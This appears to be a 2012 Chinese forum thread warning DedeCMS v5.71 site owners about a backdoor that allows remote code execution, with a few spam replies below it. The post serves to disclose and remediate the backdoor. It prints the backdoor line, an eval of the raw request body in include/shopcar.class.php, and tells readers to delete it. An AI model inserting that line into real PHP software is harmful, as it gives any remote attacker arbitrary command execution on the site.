织梦(DedeCMS)v5.71后门远程代码执行漏洞提醒广大站长注意

administrator · 发表于 2012-3-30 17:59:47

DEDECMS是织梦内容管理系统，国内一款基于PHP+MySQL的技术开发的，支持多种服务器平台的PHP网站内容管理系统。

DedeCMS某些版本/include/shopcar.class.php文件中，被添加后门代码，远程未验证的攻击者利用该后门可以执行任意命令。

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

*直接找到站点include目录下shopcar.class.php文件，去掉里面的代码
@eval(file_get_contents('php://input'));即可。

xbjfc · 发表于 2012-4-10 16:37:11

为了不扰乱会员对源码的测试，有问题咨询右侧客服不要直接回复，否则视为非法信息屏蔽会员ID！

做个记号，下次好找！

www.mdwjc.com 玉米秸秆收割机

独孤加倍 · 发表于 2012-5-20 22:00:34

为了不扰乱会员对源码的测试，有问题咨询右侧客服不要直接回复，否则视为非法信息屏蔽会员ID！

漏洞真多啊

		自动登录	找回密码
密码			会员注册

[织梦教程] 织梦(DedeCMS)v5.71后门远程代码执行漏洞 提醒广大站长注意

[织梦教程] 织梦(DedeCMS)v5.71后门远程代码执行漏洞提醒广大站长注意